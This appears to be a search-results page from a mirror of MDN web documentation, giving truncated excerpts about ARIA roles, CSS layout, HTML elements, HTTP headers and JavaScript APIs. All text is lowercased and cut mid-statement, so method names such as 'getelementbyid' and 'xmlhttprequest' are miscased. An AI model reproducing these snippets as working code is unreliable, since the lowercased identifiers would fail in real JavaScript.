... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { alpha: false, ignoredepthvalues: true }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.ignoredepthvalues' in that specification.
ARIA: feed role - Accessibility
the list establishes an interoperability contract between the web page and assistive technologies that governs scroll interactions so that assistive technology users can read articles, jump forward and backward by article, and reliably trigger new articles to load while in reading mode.
... examples include an rss feed, news feeds, social media feeds like facebook, instagram or twitter, or even a list of related products on an ecommerce page.
... to ensure good user experience, avoid inserting or removing articles in the middle of a feed, load new articles before the user has reached the end of the feed, and provide keyboard commands for moving focus among articles so that keyboard users can navigate through your feed.
ARIA: listbox role - Accessibility
required javascript features selecting an option in a single select listbox when the user selects an option, the following must occur: deselect the previously selected option, setting the aria-selected to false, or removing the attribute altogether, changing the appearance of the newly unselected option to appear not selected.
... select the newly selected option, setting aria-selected="true" on the option and changing the appearance of the newly selected option to appear selected.
... update the aria-activedescendant value on the listbox to the id of the newly selected option visually handle the blur, focus, and selected states of the option toggling the state of an option in a multi select listbox when the user clicks on an option, hits space when focused on an option, or otherwise toggles the state of an option, the following must occur: toggle the aria-selected state of the currently focused option, changing the state of the aria-selected to true if it was false or false if it was true.
Accessibility Information for Web Authors - Accessibility
(...) contrast is extremely important in web design." wheel of color: pump up the contrast, robert hess, msdn "for this year's list of worst design mistakes, (...) i asked readers of my newsletter to nominate the usability problems they found the most irritating.
... newsgroup and mailing list we have two discussion lists, which can be read via a newsgroup reader, as a mailing list or via google groups.
... purpose newsgroup mailing list google group developer discussion mozilla.dev.accessibility subscribe/unsubscribe google group end user support mozilla.support.accessibility subscribe/unsubscribe google group ...
@supports - CSS: Cascading Style Sheets
WebCSS@supports
the following example returns true if the browser supports the child combinator: @supports selector(a > b) {} the not operator the not operator can precede any expression to create a new expression, resulting in the negation of the original one.
... the and operator the and operator creates a new expression from the conjunction of two shorter expressions.
...the following are both equivalent: @supports (display: table-cell) and (display: list-item) and (display:run-in) {} @supports (display: table-cell) and ((display: list-item) and (display:run-in)) {} the or operator the or operator creates a new expression from the disjunction of two shorter expressions.
Detecting CSS animation support - CSS: Cascading Style Sheets
so if you use a new firefox, the property will be mozanimation and the keyframe prefix -moz- and with chrome it'll be webkitanimation and -webkit-.
... if there isn't already a style sheet, a new <style> element is created, and its content is set to the value of keyframes.
... then the new <style> element is inserted into the document's <head>, thereby adding the new style sheet to the document.
Using CSS animations - CSS: Cascading Style Sheets
these events, represented by the animationevent object, can be used to detect when animations start, finish, and begin a new iteration.
... function listener(event) { var l = document.createelement("li"); switch(event.type) { case "animationstart": l.innerhtml = "started: elapsed time is " + event.elapsedtime; break; case "animationend": l.innerhtml = "ended: elapsed time is " + event.elapsedtime; break; case "animationiteration": l.innerhtml = "new loop started at time " + event.elapsedtime; break; } document.getelementbyid("output").appendchild(l); } this code, too, is very simple.
... the output, when all is said and done, looks something like this: started: elapsed time is 0 new loop started at time 3.01200008392334 new loop started at time 6.00600004196167 ended: elapsed time is 9.234000205993652 note that the times are very close to, but not exactly, those expected given the timing established when the animation was configured.
Using multi-column layouts - CSS: Cascading Style Sheets
therefore, to make maximum use of a large screen, authors should have limited-width columns of text placed side by side, just as newspapers do.
...this limitation is solved by adding new css properties to extend the traditional block layout mode.
...therefore, if the height is constrained, by setting the css height or max-height properties on a multi-column block, each column is allowed to grow to that height and no further before adding new column.
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
additionally, any new values defined in the box alignment module will apply to flexible box layout; in otherwords, the box alignment module, once completed, will supercede the definitions here." in a later article in this series — aligning items in a flex container — we will take a thorough look at how the box alignment properties apply to flex items.
...understanding block and inline directions is key to new layout methods.
... flexbox and display: contents the contents value of the display property is a new value that is described in the spec as follows: “the element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal.
Logical properties for floating and positioning - CSS: Cascading Style Sheets
new properties have been created in the logical properties specification for when you want the positioning to relate to the flow of text in your writing mode.
... new two- and four-value shorthands as with other properties in the specification we have some new shorthand properties, which give the ability to set two or four values at once.
... note: the browsers that have implemented the logical properties specification have so far implemented the direct mappings and not the new shorthands.
box-align - CSS: Cascading Style Sheets
WebCSSbox-align
warning: this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
...not for use in new websites.deprecated.
... not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
box-direction - CSS: Cascading Style Sheets
this is a property of the original css flexible box layout module draft, and has been replaced by a newer standard.
...not for use in new websites.deprecated.
... not for use in new websites.user must explicitly enable this feature.user must explicitly enable this feature.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
<display-inside> - CSS: Cascading Style Sheets
depending on the value of other properties (such as position, float, or overflow) and whether it is itself participating in a block or inline formatting context, it either establishes a new block formatting context (bfc) for its contents or integrates its contents into its parent formatting context.
... flow-root the element generates a block element box that establishes a new block formatting context, defining where the formatting root lies.
... examples in this example the parent box has been given display: flow-root and so establishes a new bfc and contains the floated item.
Guide to scroll anchoring - CSS: Cascading Style Sheets
scroll anchoring is a browser feature that aims to solve this problem of content jumping, which happens if content loads in after the user has already scrolled to a new part of the document.
... the specification provides a new property, overflow-anchor, which can be used to disable scroll anchoring on all or part of the document.
... it's essentially a way to opt out of the new behavior.
overflow-x - CSS: Cascading Style Sheets
the box is not a scroll container, and does not start a new formatting context.
... if you wish to start a new formatting context, you can use display: flow-root to do so.
...if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context.
overflow-y - CSS: Cascading Style Sheets
the box is not a scroll container, and does not start a new formatting context.
... if you wish to start a new formatting context, you can use display: flow-root to do so.
...if content fits inside the padding box, it looks the same as visible, but still establishes a new block-formatting context.
Adding captions and subtitles to HTML5 video - Developer guides
html markup as mentioned above, we need to make use of the new html5 <track> element to add our subtitle files to the html5 video.
... in addition to adding the <track> elements, we have also added a new button to control the subtitles menu that we will build.
...'none' : 'block'); } }); subtitle menu css we also added some rudimentary styling for the newly created subtitles menu: .subtitles-menu { display:none; position:absolute; bottom:14.8%; right:20px; background:#666; list-style-type:none; margin:0; padding:0; width:100px; padding:10px; } .subtitles-menu li { padding:0; text-align:center; } .subtitles-menu li button { border:none; background:#000; color:#fff; cursor:pointer; ...
Audio and video manipulation - Developer guides
the beauty of the web is that you can combine technologies to create new forms.
... html <video id="my-video" controls src="myvideo.mp4" type="video/mp4"> </video> javascript var context = new audiocontext(), audiosource = context.createmediaelementsource(document.getelementbyid("my-video")), filter = context.createbiquadfilter(); audiosource.connect(filter); filter.connect(context.destination); // configure filter filter.type = "lowshelf"; filter.frequency.value = 1000; filter.gain.value = 25; playable code <video id="my-video" controls="true" width="480" height="270" cros...
...o/webm"> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type="video/mp4"> </video> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code"> filter.type = "lowshelf"; filter.frequency.value = 1000; filter.gain.value = 25;</textarea> var context = new audiocontext(), audiosource = context.createmediaelementsource(document.getelementbyid("my-video")), filter = context.createbiquadfilter(); audiosource.connect(filter); filter.connect(context.destination); var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var edit = document.getelementbyid('edit'); var code = textarea.value; function setf...
Overview of events and handlers - Developer guides
the displayed page remains unchanged until the browser requests a new page.
... with the change to dynamic page rendering, browsers loop continuously between processing, drawing, presenting content, and waiting for some new event trigger.
...the latter approach changes the last steps from a single flow into a perpetual loop, where waiting for and handling the incidence of new events follows painting.
Rich-Text Editing in Mozilla - Developer guides
most commands affect the document's selection (bold, italics, etc), while others insert new elements (adding a link) or affect an entire line (indenting).
... figure 2 : first example html: <body contenteditable="true" onload="load()"> javascript: function load(){ window.document.designmode = "on"; } example 2 the second example is a simple rich text editing page, where text can be bolded/italicized/underlined, new links can be added and the color of text changed.
...itle 5 &lt;h5&gt;</option> <option value="h6">subtitle &lt;h6&gt;</option> <option value="p">paragraph &lt;p&gt;</option> <option value="pre">preformatted &lt;pre&gt;</option> </select> <select onchange="formatdoc('fontname',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- font -</option> <option>arial</option> <option>arial black</option> <option>courier new</option> <option>times new roman</option> </select> <select onchange="formatdoc('fontsize',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- size -</option> <option value="1">very small</option> <option value="2">a bit small</option> <option value="3">normal</option> <option value="4">medium-large</option> <option value="5">big</option> <option value="6">v...
Using HTML sections and outlines - Developer guides
new semantic elements were added to html5 to improve and clarify the sectioning of websites into meaningful areas of content.
... conclusion the new semantic elements introduced in html5 bring the ability to describe the structure of a web document in a standard way.
...these new semantic elements are simple to use and, with very few burdens, can be made to work also in non-html5 browsers.
Index - Developer guides
WebGuideIndex
2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together 3 community ajax if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here.
... 29 index guide, index found 31 pages: 30 introduction to web development beginner, css, codingscripting, development, html, javascript, web whether you're just getting started with web development, or are just expanding your horizons into new realms of web awesomeness, the links here should help you get started.
... 43 writing forward-compatible websites css, compatibility, dom, html, javascript, web development this page explains how to write websites that do not break when new browser versions are released.
Parsing and serializing XML - Developer guides
parsing strings into dom trees this example converts an xml fragment in a string into a dom tree using a domparser: var smystring = '<a id="a"><b id="b">hey!</b></a>'; var oparser = new domparser(); var odom = oparser.parsefromstring(smystring, "application/xml"); // print the name of the root element or error message console.log(odom.documentelement.nodename == "parsererror" ?
... "error while parsing" : odom.documentelement.nodename); parsing url-addressable resources into dom trees using xmlhttprequest here is sample code that reads and parses a url-addressable xml file into a dom tree: var xhr = new xmlhttprequest(); xhr.onload = function() { dump(xhr.responsexml.documentelement.nodename); } xhr.onerror = function() { dump("error while getting xml."); } xhr.open("get", "example.xml"); xhr.responsetype = "document"; xhr.send(); the value returned in the xhr object's responsexml field is a document constructed by parsing the xml.
... to serialize the dom tree doc into xml text, call xmlserializer.serializetostring(): var oserializer = new xmlserializer(); var sxml = oserializer.serializetostring(doc); serializing html documents if the dom you have is an html document, you can serialize using serializetostring(), but there is a simpler option: just use the element.innerhtml property (if you want just the descendants of the specified node) or the element.outerhtml property if you want the node and all its descendants.
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
WebHTMLElementiframe
allow-popups-to-escape-sandbox: lets the sandboxed document open new windows without those windows inheriting the sandboxing.
... sandboxing is useless if the attacker can display content outside a sandboxed iframe — such as if the viewer opens the frame in a new tab.
...you should not use them in new content, and try to remove them from existing content.
<input type="color"> - HTML: Hypertext Markup Language
WebHTMLElementinputcolor
in both cases, you can determine the new value of the element by looking at its value.
... example let's create an example which does a little more with the color input by tracking the change and input events to take the new color and apply it to every <p> element in the document.
...it changes the color of the first paragraph element in the document to match the new value of the color input.
<input type="image"> - HTML: Hypertext Markup Language
WebHTMLElementinputimage
_blank loads the response into a new, unnamed, browsing context.
... this is typically a new tab in the same window as the current document, but may differ depending on the configuration of the user agent.
... _blank: load the response into a new unnamed browsing context.
<input type="month"> - HTML: Hypertext Markup Language
WebHTMLElementinputmonth
in order to detect whether the browser supports <input type="month">, we create a new <input> element, try setting its type to month, then immediately check what its type is set to.
...cument.queryselector('.nativedatepicker'); var fallbackpicker = document.queryselector('.fallbackdatepicker'); var fallbacklabel = document.queryselector('.fallbacklabel'); var yearselect = document.queryselector('#year'); var monthselect = document.queryselector('#month'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a new date input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'month'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallback nativepicker.style.display = 'none'; fallbackpicker.style.display = 'block'; fallbacklabel.style.
...display = 'block'; // populate the years dynamically // (the months are always the same, therefore hardcoded) populateyears(); } function populateyears() { // get the current year as a number var date = new date(); var year = date.getfullyear(); // make this year, and the 100 years before it available in the year <select> for(var i = 0; i <= 100; i++) { var option = document.createelement('option'); option.textcontent = year-i; yearselect.appendchild(option); } } note: remember that some years have 53 weeks in them (see weeks per year)!
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
you can add a listener for addtrack to this object to be alerted when new audio tracks are added to the element.
... htmlmediaelement.texttracks add an addtrack event listener to this texttracklist to be notified when new text tracks are added to the element.
... addtype video/webm .webm your web host may provide an easy interface to mime type configuration changes for new technologies until a global update naturally occurs.
itemscope - HTML: Hypertext Markup Language
specifying the itemscope attribute for an element creates a new item, which results in a number of name-value pairs that are associated with the element.
... itemscope itemtype movie itemprop (itemprop name) (itemprop value) itemprop director james cameron itemprop genre science fiction itemprop name avatar itemprop https://youtu.be/0ay1xikx7by trailer itemscope id attributes when you specify the itemscope attribute for an element, a new item is created.
...you can use the id attribute to set a global identifier for the new item.
Link types - HTML: Hypertext Markup Language
<a>, <area>, <form> <link> noopener instructs the browser to open the link without granting the new browsing context access to the document that opened it — by not setting the window.opener property on the opened window (it returns null).
... note that when noopener is used, nonempty target names other than _top, _self, and _parent are all treated like _blank in terms of deciding whether to open a new window/tab.
...links clicked in the ui, like "open in a new tab" via the contextual menu, ignored this).
HTTP conditional requests - HTTP
if the resource has changed, the server just sends back a 200 ok response, with the new version of the resource, like if the request wasn't conditional and the client uses this new resource (and caches it).
...while a client is locally modifying its new copy of the resource, a second client can fetch the same resource and do the same on its copy.
...it is then up to the client to deal with the error: either by notifying the user to start again (this time on the newest version), or by showing the user a diff of both versions, helping them decide which changes they wish to keep.
Location - HTTP
WebHTTPHeadersLocation
in cases of redirection, the http method used to make the new request to fetch the page pointed to by location depends of the original method and of the kind of redirection: if 303 (see also) responses always lead to the use of a get method, 307 (temporary redirect) and 308 (permanent redirect) don't change the method used in the original request; 301 (permanent redirect) and 302 (found) doesn't change the method most of the time, though older user-agents may (so you basically don't know).
... in cases of resource creation, it indicates the url to the newly created resource.
... location and content-location are different: location indicates the target of a redirection (or the url of a newly created resource), while content-location indicates the direct url to use to access the resource when content negotiation happened, without the need of further content negotiation.
HTTP headers - HTTP
WebHTTPHeaders
iana also maintains a registry of proposed new http headers.
...this is used to update caches (for safe requests), or to prevent to upload a new resource when one already exists.
...this ensures the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.
PUT - HTTP
WebHTTPMethodsPUT
the http put request method creates a new resource or replaces a representation of the target resource with the request payload.
... request has body yes successful response has body no safe no idempotent yes cacheable no allowed in html forms no syntax put /new.html http/1.1 example request put /new.html http/1.1 host: example.com content-type: text/html content-length: 16 <p>new file</p> responses if the target resource does not have a current representation and the put request successfully creates one, then the origin server must inform the user agent by sending a 201 (created) response.
... http/1.1 201 created content-location: /new.html if the target resource does have a current representation and that representation is successfully modified in accordance with the state of the enclosed representation, then the origin server must send either a 200 (ok) or a 204 (no content) response to indicate successful completion of the request.
HTTP response status codes - HTTP
WebHTTPStatus
trace: the message body contains the request message as received by the server 201 created the request has succeeded and a new resource has been created as a result.
...the user-agent may update its cached headers for this resource with the new ones.
...the new url is given in the response.
Concurrency model and the event loop - JavaScript
as always, calling a function creates a new stack frame for that function's use.
... here is an example that demonstrates this concept (settimeout does not run immediately after its timer expires): const s = new date().getseconds(); settimeout(function() { // prints out "2", meaning that the callback is not called immediately after 500 milliseconds.
... console.log("ran after " + (new date().getseconds() - s) + " seconds"); }, 500) while (true) { if (new date().getseconds() - s >= 2) { console.log("good, looped for 2 seconds") break; } } zero delays zero delay doesn't actually mean the call back will fire-off after zero milliseconds.
Control flow and error handling - JavaScript
for example: var b = new boolean(false); if (b) // this condition evaluates to true if (b == true) // this condition evaluates to false example in the following example, the function checkdata returns true if the number of characters in a text object is three.
... // create an object type userexception function userexception(message) { this.message = message; this.name = 'userexception'; } // make the exception convert to a pretty string when used as a string // (e.g., by the error console) userexception.prototype.tostring = function() { return `${this.name}: "${this.message}"`; } // create an instance of the object type and throw it throw new userexception('value too high'); try...catch statement the try...catch statement marks a block of statements to try, and specifies one or more responses should an exception be thrown.
... for example: function dosomethingerrorprone() { if (ourcodemakesamistake()) { throw (new error('the message')); } else { dosomethingtogetajavascripterror(); } } ⋮ try { dosomethingerrorprone(); } catch (e) { // now, we actually use `console.error()` console.error(e.name); // logs 'error' console.error(e.message); // logs 'the message', or a javascript error message } « previousnext » ...
Introduction - JavaScript
if you are new to programming, try one of the tutorials linked on the main page about javascript.
... if you are new to javascript, start with the articles in the learning area and the javascript guide.
...see new in javascript to learn more about different versions of javascript and ecmascript specification editions.
Regular expression syntax cheatsheet - JavaScript
so to match a pattern across multiple lines, the character set [^] can be used — it will match any character including newlines.
...this is done to ensure backward compatibility with existing code that uses new escape sequences like \p or \k.
...for example, given a string like "some <foo> <bar> new </bar> </foo> thing": /<.*>/ will match "<foo> <bar> new </bar> </foo>" /<.*?>/ will match "<foo>" unicode property escapes if you are looking to contribute to this document, please also edit the original article // non-binary values \p{unicodepropertyvalue} \p{unicodepropertyname=unicodepropertyvalue} // binary and non-binary values \p{unicodebinarypropertyname...
Memory Management - JavaScript
var d = new date(); // allocates a date object var e = document.createelement('div'); // allocates a dom element some methods allocate new values or objects: var s = 'azerty'; var s2 = s.substr(0, 3); // s2 is a new string // since strings are immutable values, // javascript may decide to not allocate memory, // but just store the [0, 3] range.
... var a = ['ouais ouais', 'nan nan']; var a2 = ['generation', 'nan nan']; var a3 = a.concat(a2); // new array with 4 elements being // the concatenation of a and a2 elements.
...cycles are a common mistake that can generate memory leaks: var div; window.onload = function() { div = document.getelementbyid('mydivelement'); div.circularreference = div; div.lotsofdata = new array(10000).join('*'); }; in the above example, the dom element "mydivelement" has a circular reference to itself in the "circularreference" property.
Private class fields - JavaScript
class classwithprivatefield { #privatefield constructor() { this.#privatefield = 42 this.#randomfield = 666 // syntax error } } const instance = new classwithprivatefield() instance.#privatefield === 42 // syntax error private methods private static methods like their public equivalent, private static methods are called on the class itself, not instances of the class.
... class classwithprivatemethod { #privatemethod() { return 'hello world' } getprivatemessage() { return this.#privatemethod() } } const instance = new classwithprivatemethod() console.log(instance.getprivatemessage()) // expected output: "hello worl​d" private instance methods may be generator, async, or async generator functions.
... private getters and setters are also possible: class classwithprivateaccessor { #message get #decoratedmessage() { return `✨${this.#message}✨` } set #decoratedmessage(msg) { this.#message = msg } constructor() { this.#decoratedmessage = 'hello world' console.log(this.#decoratedmessage) } } new classwithprivateaccessor(); // expected output: "✨hello worl​d✨" specifications specification public and private instance fieldsthe definition of 'fielddefinition' in that specification.
TypeError: can't define property "x": "obj" is not extensible - JavaScript
usually, an object is extensible and new properties can be added to it.
... examples adding new properties to a non-extensible objects in strict mode, attempting to add new properties to a non-extensible object throws a typeerror.
... 'use strict'; var obj = {}; object.preventextensions(obj); obj.x = 'foo'; // typeerror: can't define property "x": "obj" is not extensible in both, strict mode and sloppy mode, a call to object.defineproperty() throws when adding a new property to a non-extensible object.
TypeError: invalid arguments - JavaScript
typed array constructors require either a length, another typed array, array-like objects, iterable objects or an arraybuffer object to create a new typed array.
... var ta = new uint8array("nope"); // typeerror: invalid arguments different ways to create a valid uint8array: // from a length var uint8 = new uint8array(2); uint8[0] = 42; console.log(uint8[0]); // 42 console.log(uint8.length); // 2 console.log(uint8.bytes_per_element); // 1 // from an array var arr = new uint8array([21,31]); console.log(arr[1]); // 31 // from another typedarray var x = new uint8array([21, 31]); var y = new uint8array(x); console.log(y[0]); // 21 // from an arraybuffer var buffer = new arraybuffer(8); var z = new uint8array(buffer, 1, 4); /...
.../ from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uint8 = new uint8array(iterable); // uint8array[1, 2, 3] ...
Array.prototype.copyWithin() - JavaScript
it does not alter the length of this, but it will change its content and create new properties, if necessary.
... if (this == null) { throw new typeerror('this is null or not defined'); } var o = object(this); // steps 3-5.
...ritable: true }); } examples using copywithin [1, 2, 3, 4, 5].copywithin(-2) // [1, 2, 3, 1, 2] [1, 2, 3, 4, 5].copywithin(0, 3) // [4, 5, 3, 4, 5] [1, 2, 3, 4, 5].copywithin(0, 3, 4) // [4, 2, 3, 4, 5] [1, 2, 3, 4, 5].copywithin(-2, -3, -1) // [1, 2, 3, 3, 4] [].copywithin.call({length: 5, 3: 1}, 0, 3) // {0: 1, 3: 1, length: 5} // es2015 typed arrays are subclasses of array var i32a = new int32array([1, 2, 3, 4, 5]) i32a.copywithin(0, 2) // int32array [3, 4, 5, 4, 5] // on platforms that are not yet es2015 compliant: [].copywithin.call(new int32array([1, 2, 3, 4, 5]), 0, 3, 4); // int32array [4, 2, 3, 4, 5] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.copywithin' in that specification.
Array.prototype.every() - JavaScript
if (!array.prototype.every) { array.prototype.every = function(callbackfn, thisarg) { 'use strict'; var t, k; if (this == null) { throw new typeerror('this is null or not defined'); } // 1.
... if (typeof callbackfn !== 'function' && object.prototype.tostring.call(callbackfn) !== '[object function]') { throw new typeerror(); } // 5.
...] -= 1 console.log(`[${arr}][${index}] -> ${elem}`) return elem < 2 }) // loop runs for 3 iterations, but would // have run 2 iterations without any modification // // 1st iteration: [1,1,3,4][0] -> 1 // 2nd iteration: [1,1,2,4][1] -> 1 // 3rd iteration: [1,1,2,3][2] -> 2 // --------------- // appending items // --------------- arr = [1, 2, 3]; arr.every( (elem, index, arr) => { arr.push('new') console.log(`[${arr}][${index}] -> ${elem}`) return elem < 4 }) // loop runs for 3 iterations, even after appending new items // // 1st iteration: [1, 2, 3, new][0] -> 1 // 2nd iteration: [1, 2, 3, new, new][1] -> 2 // 3rd iteration: [1, 2, 3, new, new, new][2] -> 3 // --------------- // deleting items // --------------- arr = [1, 2, 3, 4]; arr.every( (elem, index, arr) => { arr.pop() ...
Array.prototype.flat() - JavaScript
the flat() method creates a new array with all sub-array elements concatenated into it recursively up to the specified depth.
... syntax var newarray = arr.flat([depth]); parameters depth optional the depth level specifying how deep a nested array structure should be flattened.
... return value a new array with the sub-array elements concatenated into it.
Array.prototype.push() - JavaScript
the push() method adds one or more elements to the end of an array and returns the new length of the array.
... return value the new length property of the object upon which the method was called.
...the total variable contains the new length of the array.
Array.prototype.unshift() - JavaScript
the unshift() method adds one or more elements to the beginning of an array and returns the new length of the array.
... return value the new length property of the object upon which the method was called.
... see example: let arr = [4, 5, 6] arr.unshift(1, 2, 3) console.log(arr); // [1, 2, 3, 4, 5, 6] arr = [4, 5, 6] // resetting the array arr.unshift(1) arr.unshift(2) arr.unshift(3) console.log(arr) // [3, 2, 1, 4, 5, 6] examples using unshift let arr = [1, 2] arr.unshift(0) // result of the call is 3, which is the new array length // arr is [0, 1, 2] arr.unshift(-2, -1) // the new array length is 5 // arr is [-2, -1, 0, 1, 2] arr.unshift([-4, -3]) // the new array length is 6 // arr is [[-4, -3], -2, -1, 0, 1, 2] arr.unshift([-7, -6], [-5]) // the new array length is 8 // arr is [ [-7, -6], [-5], [-4, -3], -2, -1, 0, 1, 2 ] specifications specification ecmascript (ecma-...
Atomics.notify() - JavaScript
examples using notify given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0.
...however, once the writing thread has stored a new value, it will be notified by the writing thread and return the new value (123).
... atomics.wait(int32, 0, 0); console.log(int32[0]); // 123 a writing thread stores a new value and notifies the waiting thread once it has written: console.log(int32[0]); // 0; atomics.store(int32, 0, 123); atomics.notify(int32, 0, 1); specifications specification ecmascript (ecma-262)the definition of 'atomics.notify' in that specification.
Atomics.wait() - JavaScript
examples using wait() given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0.
...however, once the writing thread has stored a new value, it will be notified by the writing thread and return the new value (123).
... atomics.wait(int32, 0, 0); console.log(int32[0]); // 123 a writing thread stores a new value and notifies the waiting thread once it has written: console.log(int32[0]); // 0; atomics.store(int32, 0, 123); atomics.notify(int32, 0, 1); specifications specification ecmascript (ecma-262)the definition of 'atomics.wait' in that specification.
Date() constructor - JavaScript
syntax new date() new date(value) new date(datestring) new date(year, monthindex [, day [, hours [, minutes [, seconds [, milliseconds]]]]]) note: the only correct way to instantiate a new date object is by using the new operator.
... parameters there are four basic forms for the date() constructor: no parameters when no parameters are provided, the newly-created date object represents the current date and time as of the time of instantiation.
... let today = new date() let birthday = new date('december 17, 1995 03:24:00') let birthday = new date('1995-12-17t03:24:00') let birthday = new date(1995, 11, 17) // the month is 0-indexed let birthday = new date(1995, 11, 17, 3, 24, 0) specifications specification ecmascript (ecma-262)the definition of 'date' in that specification.
Error.prototype.stack - JavaScript
description each step will be separated by a newline, with the first part of the line being the function name (if not a call from the global scope), then by an at (@) sign, the file location (except when the function is the error constructor as the error is being thrown), a colon, and, if there is a file location, the line number.
... <!doctype html> <meta charset="utf-8"> <title>stack trace example</title> <body> <script> function trace() { try { throw new error('myerror'); } catch(e) { alert(e.stack); } } function b() { trace(); } function a() { b(3, 4, '\n\n', undefined, {}); } a('first call, firstarg'); </script> assuming the above markup is saved as c:\example.html on a windows file system it produces an alert message box with the following text: starting with firefox 30 and later containing the column number: trace@file:///c:...
... try { new function('throw new error()')(); } catch (e) { console.log(e.stack); } // anonymous@file:///c:/example.html line 7 > function:1:1 // @file:///c:/example.html:7:6 try { eval("eval('fail')"); } catch (x) { console.log(x.stack); } // @file:///c:/example.html line 7 > eval line 1 > eval:1:1 // @file:///c:/example.html line 7 > eval:1:1 // @file:///c:/example.html:7:6 you can also use the ...
EvalError() constructor - JavaScript
the evalerror constructor creates a new error regarding the global eval() function.
... syntax new evalerror([message[, filename[, linenumber]]]) parameters message optional.
... creating an evalerror try { throw new evalerror('hello', 'somefile.js', 10); } catch (e) { console.log(e instanceof evalerror); // true console.log(e.message); // "hello" console.log(e.name); // "evalerror" console.log(e.filename); // "somefile.js" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // "@scratc...
FinalizationRegistry - JavaScript
you create the registry passing in the callback: const registry = new finalizationregistry(heldvalue => { // ....
...registry.unregister(tokenobject); constructor finalizationregistry() creates a new finalizationregistry object.
... examples creating a new registry you create the registry passing in the callback: const registry = new finalizationregistry(heldvalue => { // ....
Function.prototype.call() - JavaScript
call() provides a new value of this to the function/method.
... with call(), you can write a method once and then inherit it in another object, without having to rewrite the method for the new object.
... function product(name, price) { this.name = name; this.price = price; } function food(name, price) { product.call(this, name, price); this.category = 'food'; } function toy(name, price) { product.call(this, name, price); this.category = 'toy'; } const cheese = new food('feta', 5); const fun = new toy('robot', 40); using call to invoke an anonymous function in this example, we create an anonymous function and use call to invoke it on every object in an array.
Intl.Collator.prototype.resolvedOptions() - JavaScript
the intl.collator.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and collation options computed during initialization of this collator object.
... syntax collator.resolvedoptions() return value a new object with properties reflecting the locale and collation options computed during the initialization of the given collator object.
... examples using the resolvedoptions method var de = new intl.collator('de', { sensitivity: 'base' }) var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de" usedoptions.usage; // "sort" usedoptions.sensitivity; // "base" usedoptions.ignorepunctuation; // false usedoptions.collation; // "default" usedoptions.numeric; // false specifications specification ecmascript interna...
Intl.DateTimeFormat.prototype.format() - JavaScript
examples using format use the format getter function for formatting a single date, here for serbia: var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; var datetimeformat = new intl.datetimeformat('sr-rs', options); console.log(datetimeformat.format(new date())); // → "недеља, 7.
... var a = [new date(2012, 08), new date(2012, 11), new date(2012, 03)]; var options = { year: 'numeric', month: 'long' }; var datetimeformat = new intl.datetimeformat('pt-br', options); var formatted = a.map(datetimeformat.format); console.log(formatted.join('; ')); // → "setembro de 2012; dezembro de 2012; abril de 2012" avoid comparing formatted date values to static values most of the time, the formatting returned by format() is consistent.
... for this reason you cannot expect to be able to compare the results of format() to a static value: let d = new date("2019-01-01t00:00:00.000000z"); let formatteddate = intl.datetimeformat(undefined, { year: 'numeric', month: 'numeric', day: 'numeric', hour: 'numeric', minute: 'numeric', second: 'numeric' }).format(d); "1.1.2019, 01:00:00" === formatteddate; // true in firefox and others // false in ie and edge note: see also this stackoverflow thread for more details and examples.
Intl.DateTimeFormat.prototype.resolvedOptions() - JavaScript
the intl.datetimeformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and date and time formatting options computed during initialization of this datetimeformat object.
... syntax datetimeformat.resolvedoptions() return value a new object with properties reflecting the locale and date and time formatting options computed during the initialization of the given datetimeformat object.
... examples using the resolvedoptions method var germanfakeregion = new intl.datetimeformat('de-xx', { timezone: 'utc' }); var usedoptions = germanfakeregion.resolvedoptions(); usedoptions.locale; // "de" usedoptions.calendar; // "gregory" usedoptions.numberingsystem; // "latn" usedoptions.timezone; // "utc" usedoptions.month; // "numeric" specifications specification ecmascript internationalization api (ecma-402...
Intl.ListFormat - JavaScript
constructor intl.listformat() creates a new listformat object.
... const list = ['motorcycle', 'bus', 'car']; console.log(new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).format(list)); // > motorcycle, bus and car console.log(new intl.listformat('en-gb', { style: 'short', type: 'disjunction' }).format(list)); // > motorcycle, bus or car console.log(new intl.listformat('en-gb', { style: 'narrow', type: 'unit' }).format(list)); // > motorcycle bus car using formattoparts the following example s...
